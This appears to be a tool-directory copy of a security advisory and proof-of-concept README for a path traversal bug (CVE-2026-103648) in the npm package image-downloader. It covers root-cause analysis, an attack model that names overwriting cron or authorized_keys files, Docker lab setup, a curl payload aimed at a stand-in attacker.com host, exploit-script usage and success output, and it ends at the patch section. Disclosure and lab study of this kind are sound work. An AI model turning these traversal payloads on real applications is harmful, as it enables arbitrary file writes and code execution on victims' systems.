Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/eternullsec/cve-2026-103648
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationRed TeamingLabs & Practice
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

Advisory and PoC for CVE-2026-103648, a path traversal (CWE-22) in image-downloader 4.3.0 enabling arbitrary file write, with root-cause analysis, patch diff, and Docker lab.

View Repository
7h 3m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-103648 — Path Traversal in image-downloader

CVE CVSS CWE Package Status License

Discovered by: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ Educational Purposes Only. This repository documents a responsibly disclosed vulnerability. All PoC code is intended for authorized security research and testing in isolated lab environments only. Do not use against systems you do not own or have explicit written permission to test.


📋 Advisory Summary

FieldDetails
CVE IDCVE-2026-103648
NVD Entrynvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 Score9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: Improper Limitation of a Pathname to a Restricted Directory
Packageimage-downloader (npm) by demsking
Weekly npm downloads~11,000 (~38,000/month) — source
Affected Versions< 4.3.1 (all versions including 4.3.0)
Fixed Version4.3.1
Assigned ByGitLab
Published2026-10-02
ReporterAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 Technical Root Cause Analysis

The vulnerability is in [email protected]'s filename-extraction logic. This is the actual source of the affected version (index.js, pulled directly from the published npm package):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

The exact bug

  1. path.basename(pathname) is called on the still percent-encoded URL pathname. A sequence like %2e%2e%2fpwned.sh contains no literal /, so path.basename() treats the whole thing as a single filename and returns it unchanged — nothing gets stripped.
  2. The result is then passed through decodeURIComponent(). This is the step that turns %2e%2e%2f back into a literal ../ — but by now it has already survived the basename step that was supposed to sanitize it.
  3. path.join(options.dest, decodedBasename) is called with a string that now contains a real ../ segment. path.join() normalizes .. the same way cd .. would — so the final write path resolves to a location outside options.dest.

In short: the code decodes the filename in the right way, just in the wrong order relative to path.basename(). Decode-then-basename is safe; basename-then-decode is not.

Minimal trigger

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

CVSS Breakdown

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 Attack Model

This lab demonstrates the mechanism of the bug end-to-end in a single script for ease of reproduction, but it's worth stating the real-world attack model explicitly:

  • Victim: any application that calls image-downloader's download.image({ url, dest }) with a url value it did not fully control itself — e.g. a URL submitted by a user (avatar/image import features), pulled from a webhook payload, or read from an RSS/content feed.
  • Attacker: controls (or can redirect to) the HTTP server the victim's url points at, and controls the path component of that URL — which is enough on its own, since the traversal lives in the URL path (%2e%2e%2f...), not in the response body.
  • Impact: the victim process writes a file of the attacker's choosing to a path of the attacker's choosing, outside the directory the developer intended — in containers or scripts running with broad filesystem access, this routinely escalates to code execution (e.g. overwriting a cron file, an authorized_keys file, or an executable the app later runs).

In exploit/exploit.py, the attacker and victim roles are collapsed into one script for lab convenience (it stands up both the "victim" server request and the attacker-controlled payload server). In a real exploitation scenario these are two separate, unrelated parties — the PoC is structured this way purely so the vulnerability is reproducible with a single command.


🧪 Lab Environment Setup

Prerequisites

  • Docker & Docker Compose OR Node.js v18+
  • Python 3.x (for the exploit script)

Option A — Docker (Recommended)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

The vulnerable server will be available at http://localhost:3000.

Option B — Manual Node.js

cd vulnerable-app/
npm install
node server.js

💥 Steps to Reproduce (PoC)

Step 1 — Start the Vulnerable Server

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

Step 2 — Run the Exploit

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

Or manually with curl (the traversal is in the URL path, not the response body):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

Step 3 — Verify the Traversal

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 Proof of Execution

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 Patch Analysis

Download Tool